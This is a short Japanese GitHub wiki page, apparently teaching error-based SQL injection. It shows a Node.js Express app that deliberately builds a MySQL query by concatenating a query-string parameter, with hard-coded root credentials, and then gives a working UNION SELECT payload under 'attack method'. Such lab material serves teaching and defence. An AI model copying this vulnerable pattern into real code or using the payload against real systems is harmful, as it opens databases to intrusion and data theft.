SQLインジェクション nodejs 01 - yujitounai/helloworld GitHub Wiki

SQLインジェクション-01

エラーベースのSQLインジェクション

脆弱なソースコード (nodejs)

const express = require('express')
const app = express()
const port = 3002

const mysql = require('mysql');

const con = mysql.createConnection({
    host: 'localhost',
    user: 'root',
    password: 'root',
    database: 'mbsd_vuln01'
});
  
con.connect(function(err) {
    if (err) throw err;
    console.log('Connected');
});
  
app.get('/', (request, response) => {
    const sql = "select * from users where user='" + request.query.name + "'"
    con.query(sql, function (err, result, fields) {  
    if (err) throw err;
    response.send(result)
    });
});

app.listen(port, () => console.log(`Example app listening on port ${port}!`))

攻撃方法

name=%27%20union%20select%201,user(),3,4,5,6,7;+--+